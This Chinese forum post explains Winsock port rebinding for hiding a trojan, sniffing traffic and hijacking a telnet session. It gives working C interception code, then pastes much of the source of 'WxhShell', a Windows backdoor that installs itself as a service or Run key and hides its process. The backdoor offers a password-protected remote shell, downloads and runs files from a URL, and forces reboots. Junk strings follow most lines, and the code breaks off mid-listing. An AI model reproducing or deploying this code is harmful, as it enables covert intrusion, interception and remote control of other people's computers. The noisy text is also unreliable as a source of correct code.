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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Z;h t  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @6Y?\Wx$w  
wL+s8#{  
  saddr.sin_family = AF_INET; QyEn pZ8?a  
9P1OP Xv*p  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); (!ux+K  
)tC5Hijq,  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); :(/~:^!  
LdYB7T,  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 v> LIvi|]  
"3X2VFwoJ  
  这意味着什么?意味着可以进行如下的攻击: VACQ+  
&|s0P   
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 lUOF4U&r  
[T8WThs  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) }~YA5^VQ$  
E-T)*`e  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 u4t7Ie*Q  
kYzIp  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  )X1{  
>nJ\BPx  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 F~,Mw8  
&Qf/>@ l}  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 A=$04<nP8!  
W>${zVu  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ^=GC3%  J  
ui< N[  
  #include |UkR'Ma  
  #include sQYkQ81  
  #include a!zz6/q[  
  #include    *z5.vtfu!  
  DWORD WINAPI ClientThread(LPVOID lpParam);   .<->C?#  
  int main() 4X!/hI=jq  
  { 2Z+Wu3#  
  WORD wVersionRequested; xs{3pkTYD  
  DWORD ret; ]N~2 .h  
  WSADATA wsaData; =mO vs  
  BOOL val; GA$V0YQX  
  SOCKADDR_IN saddr; .T}Wdn g  
  SOCKADDR_IN scaddr; Q 1U\D  
  int err; 2] z 8: a  
  SOCKET s; X2#2C/6#u  
  SOCKET sc; ,1y@Z 5wy  
  int caddsize; {kA0z2Fe  
  HANDLE mt; Yk'XGr)  
  DWORD tid;   y`L>wq,KU  
  wVersionRequested = MAKEWORD( 2, 2 ); 8EZ$g<}  
  err = WSAStartup( wVersionRequested, &wsaData );  |tKsgj  
  if ( err != 0 ) { Xe3U`P7(  
  printf("error!WSAStartup failed!\n"); AuvkecuIh  
  return -1; G~F b  
  } B7VH<;Z  
  saddr.sin_family = AF_INET; .yMEIUm  
   OC_+("N  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 zykT*V  
hwPw]Ln/  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); %41m~Wh2  
  saddr.sin_port = htons(23); Mer/G2#&  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $[Sc0dzJ  
  { +cJL7=V&  
  printf("error!socket failed!\n"); 8+~ >E  
  return -1; wy<\Tg^J  
  } Df}A^G >X  
  val = TRUE; Q$a{\*[:+  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 A` N,  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) TEP,Dq  
  { TtJH7  
  printf("error!setsockopt failed!\n"); T]^62(So  
  return -1;  Fe#  1  
  } 9>= ;FY  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; g&^quZ"H  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 +G$4pt|=  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 >f|||H}Snw  
Ryl:a\  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) "SNn^p59k  
  { |'e^QpU5  
  ret=GetLastError(); ^-TE([bW  
  printf("error!bind failed!\n"); l#g\X'bK  
  return -1; Z]A{ d[  
  } )!3V/`I  
  listen(s,2); M-$%Rzl_  
  while(1) lXx=But  
  { L 8c0lx}Nn  
  caddsize = sizeof(scaddr); sG(~^hJ_  
  //接受连接请求 kGH}[w  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); s%vis{2  
  if(sc!=INVALID_SOCKET) /Y/UM3/  
  { ^+*N%yr  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 5 )A1\  
  if(mt==NULL) *1ilkmL%  
  { |5X^u+_  
  printf("Thread Creat Failed!\n"); EH- sZAv  
  break; [ZNtCnv  
  } %h hfU6[  
  } E`kG-Q5Dw  
  CloseHandle(mt); >Ifr [  
  } CLxynZ \;  
  closesocket(s); 1Rt33\1J0  
  WSACleanup(); Fh)IgzFj  
  return 0; 48J@C vU  
  }   -$t{>gO#Y  
  DWORD WINAPI ClientThread(LPVOID lpParam) ^gN6/>]qrY  
  { @T@< _ ?)  
  SOCKET ss = (SOCKET)lpParam; u^^vB\"^  
  SOCKET sc; JOj;^ h  
  unsigned char buf[4096]; 0B[="rTS7#  
  SOCKADDR_IN saddr; ^NLmgw Q  
  long num; 9d>-MX'  
  DWORD val; ]N/=Dd+|  
  DWORD ret; aR[JD2G  
  //如果是隐藏端口应用的话,可以在此处加一些判断 uY{|szC^2  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   PoHg,n]  
  saddr.sin_family = AF_INET; mWv3!i;G<s  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); hM_lsc  
  saddr.sin_port = htons(23); 0$(WlP |  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \/93Dz  
  { kF3k7,.8&  
  printf("error!socket failed!\n"); kc2 PoJ  
  return -1; Lt2u,9  
  } 2\R'@L*  
  val = 100; @tF\p  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \|n- O=}=2  
  { gGR"Z]DBk  
  ret = GetLastError(); *~2,/D  
  return -1; XP`Nf)3{Yd  
  } 9,c(y sv"  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :)8VdWg  
  { _aq 8@E~  
  ret = GetLastError(); pXtl 6K%  
  return -1; ^Xz@`_I  
  } ?#Ge.D~u  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)  50"pbzW  
  { dSLU>E3g  
  printf("error!socket connect failed!\n"); ;Y)w@bNt@  
  closesocket(sc); bAdn &   
  closesocket(ss); +[Dx?XM  
  return -1; u :}%xD6  
  } &C:IX\  
  while(1) QfmJn((  
  { ZVW'>M7.  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ?K1/ <PE+  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 "H2EL}3/]  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 WEAT01  
  num = recv(ss,buf,4096,0); f@6QvkIa  
  if(num>0) e*sfPHt  
  send(sc,buf,num,0); HsxVZ.dS  
  else if(num==0) =WyDp97@+  
  break; %Wg'i!?cB  
  num = recv(sc,buf,4096,0); C:GK,?!Jn'  
  if(num>0) u+dLaVlLJ  
  send(ss,buf,num,0); } F E>|1  
  else if(num==0) k3~}7]O)  
  break; bjyZk_\  
  } OwuE~K7b{  
  closesocket(ss); aasoW\UG  
  closesocket(sc); 5b5x!do  
  return 0 ; c7?_46 J  
  } -Mi p,EO  
,yC-+VL  
#OZ>V3k  
========================================================== N>Xo_-QCY  
\TIT:1  
下边附上一个代码,,WXhSHELL j 'FVz&  
?}qttj  
========================================================== '|ad_M  
Ig$(3p  
#include "stdafx.h" ?llXd4  
yZAS#ko}}  
#include <stdio.h> y+Ra4G#/}  
#include <string.h> z Eq GD2"  
#include <windows.h> 57aXQ8u{  
#include <winsock2.h> XFg 9P}"  
#include <winsvc.h> m )8BgCy  
#include <urlmon.h> v0ujdp,B  
 vx\r!]  
#pragma comment (lib, "Ws2_32.lib") # q~e^A b  
#pragma comment (lib, "urlmon.lib") xg30x C[  
Gw=B:kGk  
#define MAX_USER   100 // 最大客户端连接数 zy?.u.4L  
#define BUF_SOCK   200 // sock buffer N%kt3vmQ_  
#define KEY_BUFF   255 // 输入 buffer zofa-7'Bn  
toLV4BtIG  
#define REBOOT     0   // 重启 hZdoc<  
#define SHUTDOWN   1   // 关机 `CBZhI%%  
:v0U|\j8/V  
#define DEF_PORT   5000 // 监听端口 16w|O |^<  
,k.3|aZE  
#define REG_LEN     16   // 注册表键长度 Gq+z/Be  
#define SVC_LEN     80   // NT服务名长度 f W!a|?e$  
!]42^?GH  
// 从dll定义API &\#sI9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1 Rq,a  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); B|Du@^$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); fJ5iS  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); b`(}.r?W  
-^K"ZP1  
// wxhshell配置信息 Amp#GR1CA  
struct WSCFG { y?rPlA_  
  int ws_port;         // 监听端口 \j+1V1t9  
  char ws_passstr[REG_LEN]; // 口令 0\H\lKcK  
  int ws_autoins;       // 安装标记, 1=yes 0=no |<HPn4 ,X  
  char ws_regname[REG_LEN]; // 注册表键名 wYd b*"R  
  char ws_svcname[REG_LEN]; // 服务名 QFE:tBHe  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 kh!FR u h  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 vhe>)h*B  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7z/|\D_{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?OId\'q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" O $LfuL  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 rr+|Zt Y  
V n7*JS  
}; vV6<^ W:9F  
Sw:7pByjI  
// default Wxhshell configuration &[_g6OL  
struct WSCFG wscfg={DEF_PORT, H[{F'c[e  
    "xuhuanlingzhe", E8!e:l =Q  
    1, d.3E[AJa(  
    "Wxhshell", d<% z 1Dj2  
    "Wxhshell", yu;+o3WlK  
            "WxhShell Service", t!*?dr  
    "Wrsky Windows CmdShell Service", kv]~'Srk  
    "Please Input Your Password: ", Z"Zmo>cV4  
  1, 3Ko/{f  
  "http://www.wrsky.com/wxhshell.exe", +Um( h-;  
  "Wxhshell.exe" *e<[SZzYZ  
    }; //*fSF   
o#;b  
// 消息定义模块 t,QyfN  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; DD7h^-x  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]}*R|1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; IW>T}@ |  
char *msg_ws_ext="\n\rExit."; ;t'5},(FP  
char *msg_ws_end="\n\rQuit."; 7zA'ri3w  
char *msg_ws_boot="\n\rReboot..."; 8R2QZXJb-  
char *msg_ws_poff="\n\rShutdown..."; Jy^u?  
char *msg_ws_down="\n\rSave to "; >5_2_Y$"  
"/)#O~  
char *msg_ws_err="\n\rErr!"; Diy8gt  
char *msg_ws_ok="\n\rOK!"; ztnFhJ<a$  
MPCBT!o4Z  
char ExeFile[MAX_PATH]; M:XSQ["6>V  
int nUser = 0; }d&_q7L@@6  
HANDLE handles[MAX_USER]; V E#Wb7  
int OsIsNt; C^3 <={  
O#b6mKPt;t  
SERVICE_STATUS       serviceStatus; O|\J}rm'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; zxMX Xm;  
^2+yHw  
// 函数声明 p%#<D9S  
int Install(void); FFV `P  
int Uninstall(void); {`J)j6;  
int DownloadFile(char *sURL, SOCKET wsh); Hv!U| L  
int Boot(int flag); 7/!8e.M\  
void HideProc(void); 'r4/e-`pK  
int GetOsVer(void); ]*v dSr-J  
int Wxhshell(SOCKET wsl); S-Wzour,  
void TalkWithClient(void *cs); %kv0We fs  
int CmdShell(SOCKET sock); rw: c  
int StartFromService(void); $RYa6"`  
int StartWxhshell(LPSTR lpCmdLine); Q(@U2a8  
W6f/T3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4S5,w(6N  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); j\,EO+ZQCv  
&wi e]  
// 数据结构和表定义 Uhe=h&e2k@  
SERVICE_TABLE_ENTRY DispatchTable[] = V}bjK8$$  
{ 4y)P>c  
{wscfg.ws_svcname, NTServiceMain}, | 1E|hh@k  
{NULL, NULL} mlixIW2  
}; }0eF~>Df  
y6LWx:  
// 自我安装 lH-/L(h2  
int Install(void) nKS7Q1+  
{ q'|rgT  
  char svExeFile[MAX_PATH]; pczug-nB  
  HKEY key; lH#u  
  strcpy(svExeFile,ExeFile); GO8GJ;B-U  
$AfM>+GQ`n  
// 如果是win9x系统,修改注册表设为自启动 RLw;(*(g  
if(!OsIsNt) { P=7zs;k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @$lG@I,[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?>hPO73{  
  RegCloseKey(key); ~kShq%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "*m_> IU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6;u$&&c(  
  RegCloseKey(key); 3 N.~mR  
  return 0; F=`AY^u0  
    } Ge2q%  
  } *-MM<|Qt  
} ]or>?{4g  
else { cJN7bA {  
Ai:BEPKe  
// 如果是NT以上系统,安装为系统服务 :ZTc7 }  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :axRoRg  
if (schSCManager!=0) xGu r  
{ PfreAEv,  
  SC_HANDLE schService = CreateService 5i> $]*o  
  ( b@rVo;  
  schSCManager, }'""(,2  
  wscfg.ws_svcname, ,-i zEr  
  wscfg.ws_svcdisp, D&/kCi=R  
  SERVICE_ALL_ACCESS, k,'L}SK  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 87Oad@FOr  
  SERVICE_AUTO_START, m6TNBX  
  SERVICE_ERROR_NORMAL, Du`JaJI  
  svExeFile, Q o?O:  
  NULL, r YogW!  
  NULL, &0='r;*i  
  NULL, o}W%I/s  
  NULL,  `dFq:8v  
  NULL E5)b  
  ); [pl'|B  
  if (schService!=0) PK;*u,V  
  { [<-  
  CloseServiceHandle(schService); 7l'6gg  
  CloseServiceHandle(schSCManager); <0H"|:W>I]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]DOX?qI i  
  strcat(svExeFile,wscfg.ws_svcname); mX\T D0$d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { n1~o1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); xgpi-l  
  RegCloseKey(key); 9^,Lc1"M>  
  return 0; 3^R&:|,  
    } x$IX5:E#e  
  } bLe <G  
  CloseServiceHandle(schSCManager); ,8:(OB|a  
} _z'u pb&  
} i 7_ _  
/e7O$L)   
return 1; ^.#jF#u~  
} P/c&@_b  
fIj|4a+  
// 自我卸载 nN*w~f"  
int Uninstall(void)  {k>Ca  
{ PE~G=1x3  
  HKEY key; >H'4{|  
{7$c8i  
if(!OsIsNt) { WKT4D}{1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `wus\&!W  
  RegDeleteValue(key,wscfg.ws_regname); 3D` YZ#M  
  RegCloseKey(key); l% ?T2Fm3>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @\0Eu212  
  RegDeleteValue(key,wscfg.ws_regname); 99}(~B  
  RegCloseKey(key); ?0)&U  
  return 0; F">Qpgt  
  } eln&]d;  
} q8s0AN'@t'  
} O J/,pLYu  
else { Ko;{I?c  
0}$Hi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); CACTE  
if (schSCManager!=0) 0|$v-`P$  
{ CPP` qt%f  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); nyBJb(5"B  
  if (schService!=0) c/zJv*}x ?  
  { WpF2)R}G=  
  if(DeleteService(schService)!=0) { pcYG~pZ9  
  CloseServiceHandle(schService); IkBei&4F`  
  CloseServiceHandle(schSCManager); !'mq ?C=  
  return 0; _acE:H  
  } I 6<*X  
  CloseServiceHandle(schService); Bm"KOr$}-  
  } 1jy9lP=  
  CloseServiceHandle(schSCManager); I 4,K43|  
} {jYOs l  
} AI,(z;{P  
h<Ft_#|o[  
return 1; HvM)e.!  
} U}MXT <6  
^;/b+ /B0  
// 从指定url下载文件 QS{1CC9$  
int DownloadFile(char *sURL, SOCKET wsh) W0epAGrB  
{ Ys,{8Y,7  
  HRESULT hr; 3jlh}t>$l  
char seps[]= "/"; zY|t0H  
char *token; `0P$#5?  
char *file; #;%JT   
char myURL[MAX_PATH]; ix(=3 /Dgz  
char myFILE[MAX_PATH]; HuwU0:*  
2_zp:v  
strcpy(myURL,sURL); }RHn)}+  
  token=strtok(myURL,seps); LUC4=kk4   
  while(token!=NULL) (xVsDAp=@  
  { |P -8HlOr  
    file=token; #$c Rkw  
  token=strtok(NULL,seps); %kB8'a3  
  } 0JlZs]  
r:F  
GetCurrentDirectory(MAX_PATH,myFILE); 8"dv_`ym  
strcat(myFILE, "\\"); q~3,yyu  
strcat(myFILE, file); ~.UrL(l=  
  send(wsh,myFILE,strlen(myFILE),0); EmODBTu+  
send(wsh,"...",3,0); &4b&X0pU  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /%&2HDA)  
  if(hr==S_OK) PI`jExL  
return 0; \>C YC|  
else [k6nW:C  
return 1; [ { bV4  
ADpmvW f?  
} du)~kU>l  
.G+Pe'4a  
// 系统电源模块 M@?xa/E64  
int Boot(int flag) p;W.lcO`0  
{ DdVF,  
  HANDLE hToken; kAu+zX>S+  
  TOKEN_PRIVILEGES tkp; pek%08VSEU  
[1F* bI  
  if(OsIsNt) { 'ow.=1N-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =li|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 'g$(QvGF 9  
    tkp.PrivilegeCount = 1; 4\6N~P86  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; iVd.f A  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (cN}Epi(D  
if(flag==REBOOT) { *e-A6S h  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) emdoA:w+   
  return 0; 4dhvFGlW  
} 3:8{"md@2  
else { #Sa27$&.>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ik!..9aB  
  return 0; " t7M3i_  
} LxpuhvIO  
  } 7oq[38zB  
  else { '1$!jmY  
if(flag==REBOOT) { q*2N{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) RTv qls  
  return 0; lWqrU1Sjl  
} l'\pk<V  
else { 2Sh  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) t`+'r}=d  
  return 0; h}]fn A  
} ~M\I;8ne  
} 7DIIx}A  
v@wb"jdFi$  
return 1; [+OnV&  
} D<V~f B  
=e8bNg  
// win9x进程隐藏模块 2'5]~  
void HideProc(void) vq!_^F<  
{ XK: 9r{r{  
M?[h0{^K  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^b7GH9<&  
  if ( hKernel != NULL ) rtL}W__  
  { .N*Pl(<[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Y_]De3:V0B  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1!.(4gV  
    FreeLibrary(hKernel); hs?sGr  
  } +e-G,%>9  
JqMDqPIQ  
return; %zSuK8kxV  
} fwBRWr9  
%s&ChM?8F  
// 获取操作系统版本 ;\[(- )f!=  
int GetOsVer(void) ]ix!tb.Q  
{ @"o@}9=d  
  OSVERSIONINFO winfo; kWNV%RlSx  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &[At`Nw71  
  GetVersionEx(&winfo); 1?| f lK  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0 s 70r  
  return 1; 2hee./F`  
  else wN2QK6Oc  
  return 0; 4WE6fJ2X  
} m\ddp_l  
a\%xB >LX  
// 客户端句柄模块 |gsE2vV  
int Wxhshell(SOCKET wsl) ]>+PnP35G  
{ Z*])6=2Q  
  SOCKET wsh; $DZHQH  
  struct sockaddr_in client; ?_v{| YI=  
  DWORD myID; V13BB44  
** +e7k   
  while(nUser<MAX_USER) h(F<h_  
{ =i(?deR  
  int nSize=sizeof(client); hRq3C1 mR  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !wWJ^Oz=  
  if(wsh==INVALID_SOCKET) return 1; ]r-C1bKD`  
11,!XD*"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); JkGnKm9G  
if(handles[nUser]==0) \tRG1&{$%  
  closesocket(wsh); lw :`M2P,  
else MCT'Nw@A  
  nUser++; qVdwfT{1J  
  } B}eA\O4}I  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); UK{irU|\  
F {B\kq8  
  return 0; m~>Y{F2  
} 3 E3qd'  
l9Q(xuhv  
// 关闭 socket j+^oz'q  
void CloseIt(SOCKET wsh) N |1>ooU[  
{ OKHX)"j\\  
closesocket(wsh); ^::EikpF%  
nUser--; P1zdK0TM  
ExitThread(0); ?\#N9 +{W  
} <BW[1h1k5_  
f"( X(1F  
// 客户端请求句柄 c5Q<$86  
void TalkWithClient(void *cs) (708H_  
{ ZlHDi!T  
~h"/Tce  
  SOCKET wsh=(SOCKET)cs; XUF\r]B,9  
  char pwd[SVC_LEN]; gaf$uT2  
  char cmd[KEY_BUFF]; rS0DSGDq  
char chr[1]; fRfn2jA)d  
int i,j; Y $u9%0q|?  
k6kM'e3V  
  while (nUser < MAX_USER) { \3Q&~j  
: iiw3#]  
if(wscfg.ws_passstr) { >I<r)w]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )?2e  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #eN{!Niy&U  
  //ZeroMemory(pwd,KEY_BUFF); )9S>Z ZF  
      i=0; }@+NN ?P  
  while(i<SVC_LEN) { zFQ&5@43  
&wU'p-V  
  // 设置超时 8_&CT :u>  
  fd_set FdRead; _Cw:J|l.  
  struct timeval TimeOut; zd_HxYrN  
  FD_ZERO(&FdRead); X]loJoM9  
  FD_SET(wsh,&FdRead); |e a~'N1  
  TimeOut.tv_sec=8; }dxDt qb  
  TimeOut.tv_usec=0; Bk}><H  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >3gi yeJ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); F3oQ^;xB  
+f0~D(d!_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +x]9+D&  
  pwd=chr[0]; !vn1v)6  
  if(chr[0]==0xd || chr[0]==0xa) { ^VT1vu %03  
  pwd=0; @h?shW=^  
  break; &/A 8-:m  
  } 1G7b%yPA  
  i++; < pTTo  
    } =H8 xSJLh  
K\^ 0_F K  
  // 如果是非法用户,关闭 socket ]MtFf6&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); gq"k<C0  
} iU+nqY'  
aS}1Q?cU  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~dHM4lGY  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |BZDhd9<{  
WS2os Bc  
while(1) { ^Cv^yTj;&  
]l~V&#i_c  
  ZeroMemory(cmd,KEY_BUFF); Sb".]>^  
`d2,*KR  
      // 自动支持客户端 telnet标准   }<jb vCeK  
  j=0; mfny4R1_  
  while(j<KEY_BUFF) { -;;Z 'NM;8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i{^Z1;Yl  
  cmd[j]=chr[0]; ^O^:$nXhYy  
  if(chr[0]==0xa || chr[0]==0xd) { )U:2z-X&e  
  cmd[j]=0; ]ALc;lb-}  
  break; rs=q! P"u[  
  } QHBtWQgS  
  j++; 7{oe ->r  
    } Q>qFM9Z  
CJaKnz  
  // 下载文件 3ew8m}A{O  
  if(strstr(cmd,"http://")) { fU2qrcVu  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); JIO$=+p  
  if(DownloadFile(cmd,wsh)) #(LfYw.P1V  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q 6C-4ja  
  else 5~XN>>hp  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E3/:.t  
  } 9^F2$+T[:  
  else { >yJ-4lgZ  
w(nHD*nm  
    switch(cmd[0]) { N"[B=fU}  
  +~sd"v6  
  // 帮助 I-NN29Sk  
  case '?': { '[P}&<ie,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); n,M)oo1G  
    break; ^4v*W;Q  
  } T_<BVM  
  // 安装 _L.n,  
  case 'i': { % 0:p)Z0  
    if(Install()) 7yI @"c#O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ps:f=6m2  
    else P`1EPF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _DPOyR2  
    break;  PWgDFL?  
    } smAC,-6 ]~  
  // 卸载 ^a9 oKI9n  
  case 'r': { ^ons:$0h  
    if(Uninstall()) ts9pM~_~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +UWU|:  
    else J#3{S]* v_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L$v^afP?  
    break; 1D([@)^  
    } ~H@+D}J?  
  // 显示 wxhshell 所在路径 &[|VZ[  
  case 'p': { mjnUs-`W|  
    char svExeFile[MAX_PATH]; HO|-@yOF^  
    strcpy(svExeFile,"\n\r"); xcCl (M]+  
      strcat(svExeFile,ExeFile); I12KT~z<r  
        send(wsh,svExeFile,strlen(svExeFile),0); {#Q\z>  
    break; farDaS[\VY  
    } ~KIDv;HSb[  
  // 重启 jkrx]`A{~  
  case 'b': { {GqXP0'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); U Lmg$T&  
    if(Boot(REBOOT)) U!q[e`B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eQX`,9:5  
    else { ,35&G"JK5  
    closesocket(wsh); @y~P&HUN  
    ExitThread(0); Yig0/ "  
    } MXAEX2xmme  
    break; &w~Xa( uu  
    } 73NZ:h%=  
  // 关机 ^Ip3A  
  case 'd': { 3=4SGt5m  
